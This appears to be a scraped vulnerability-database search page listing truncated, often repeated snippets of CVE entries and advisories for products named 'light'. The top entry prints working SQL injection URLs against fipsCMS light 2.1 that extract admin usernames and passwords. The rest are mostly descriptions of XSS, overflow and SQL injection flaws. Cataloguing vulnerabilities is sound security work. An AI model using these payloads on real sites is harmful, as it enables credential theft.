fipsCMS light <= 2.1 (r) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications =========================================================== fipsCMS light = 2.1 r Remote SQL Injection Vulnerability =========================================================== Exploit Code: victim/path/home/index.asp?w=pages&r=9999999 uni...

FipsCMS Light 2.1 - 'r' SQL Injection

Exploit Code: victim/path/home/index.asp?w=pages&r=9999999 union select all 0,username,null,0x1 from admin victim/path/home/index.asp?w=pages&r=9999999 union select all 0,password,null,0x1 from admin http://localhost:2222/lab/cms/admin Download:http://login.fipsasp.com/File.asp?ID=60&CatID=5 Foun...

Debian: Security Advisory (DSA-156)

The remote host is missing an update for the Debian SPDX-FileCopyrightText: 2008 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Debian Security Advisory DSA 156-1 (epic4-script-light)

The remote host is missing an update to epic4-script-light announced via advisory DSA 156-1. OpenVAS Vulnerability Test $Id: deb1561.nasl 6616 2017-07-07 12:10:49Z cfischer $ Description: Auto-generated from advisory DSA 156-1 Authors: Thomas Reinke Copyright: Copyright c 2007 E-Soft Inc...

Stack overflow

Multiple stack-based buffer overflows in the VSFlexGrid.VSFlexGridL ActiveX control in ComponentOne FlexGrid 7.1 Light allow remote attackers to cause a denial of service and possibly execute arbitrary code via a long string in the 1 Text, 2 EditSelText, 3 EditText, and 4 CellFontName property...

Authentication flaw

Unspecified vulnerability in Light FMan PHP lfman or lightfman before 2.0rc1 has unknown impact and attack vectors related to "actions."...

CVE-2007-5753

Unspecified vulnerability in Light FMan PHP lfman or lightfman before 2.0rc1 has unknown impact and attack vectors related to "actions."...

CVE-2007-5753

Technical details about CVE-2007-5753 are not provided in the supplied documents. No concrete affected product versions, vulnerable component, or exploit information is available here. Monitor for updates from official advisories.

CVE-2007-5753

Unspecified vulnerability in Light FMan PHP lfman or lightfman before 2.0rc1 has unknown impact and attack vectors related to "actions."...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in Papoo Light 3.6 before 20070611 allow remote attackers to inject arbitrary web script or HTML via 1 the URI in a GET request or 2 the Title field of a visitor comment, and 3 allow remote authenticated users to inject arbitrary web script or HTM...

CVE-2007-3269

Multiple cross-site scripting XSS vulnerabilities in Papoo Light 3.6 before 20070611 allow remote attackers to inject arbitrary web script or HTML via 1 the URI in a GET request or 2 the Title field of a visitor comment, and 3 allow remote authenticated users to inject arbitrary web script or HTM...

CVE-2007-3269

Papoo Light 3.6 before 20070611 is affected by multiple XSS vulnerabilities per CVE-2007-3269: an attacker can inject arbitrary script via (1) the URI in a GET request, (2) the Title field of a visitor comment, and (3) a message to another user. The note mentions that vector (2) might overlap CVE...

CVE-2007-3269

Multiple cross-site scripting XSS vulnerabilities in Papoo Light 3.6 before 20070611 allow remote attackers to inject arbitrary web script or HTML via 1 the URI in a GET request or 2 the Title field of a visitor comment, and 3 allow remote authenticated users to inject arbitrary web script or HTM...

Light Blog 4.1 XSS Vulnerability

Application: Light Blog Web Site: http://www.publicwarehouse.co.uk/phpscripts/lightblog.php Versions: 4.1 Platform: linux, windows, freebsd, sun Bug: Cross site Scripting XSS Fix Available: Yes fixed with the Same version number. download file now called LightBlog.zip instead of Light.zip Advisor...

Cross site scripting

Cross-site scripting XSS vulnerability in addcomment.php in Light Blog 4.1 before 20070606 allows remote attackers to inject arbitrary web script or HTML via the id parameter...

CVE-2007-3131

Cross-site scripting XSS vulnerability in addcomment.php in Light Blog 4.1 before 20070606 allows remote attackers to inject arbitrary web script or HTML via the id parameter...

CVE-2007-3131

Cross-site scripting XSS vulnerability in addcomment.php in Light Blog 4.1 before 20070606 allows remote attackers to inject arbitrary web script or HTML via the id parameter...

CVE-2007-3131

CVE-2007-3131 : The vulnerability is a Cross-site Scripting (XSS) flaw in Light Blog 4.1 prior to 20070606, reported in CVE-2007-3131. It affects add_comment.php where an attacker can supply a crafted id parameter to inject arbitrary web script or HTML. According to NVD, the impact is partial int...

lightblog-xss.txt

Application: Light Blog Web Site: http://www.publicwarehouse.co.uk/phpscripts/lightblog.php Versions: 4.1 Platform: linux, windows, freebsd, sun Bug: Cross site Scripting XSS Fix Available: Yes fixed with the Same version number. download file now called LightBlog.zip instead of Light.zip Advisor...

Sql injection

SQL injection vulnerability in CA Clever Path Portal allows remote authenticated users to execute limited SQL commands and retrieve arbitrary database contents via 1 the ofinterest parameter in a light search query, 2 description parameter in the advanced search query, and possibly other vectors...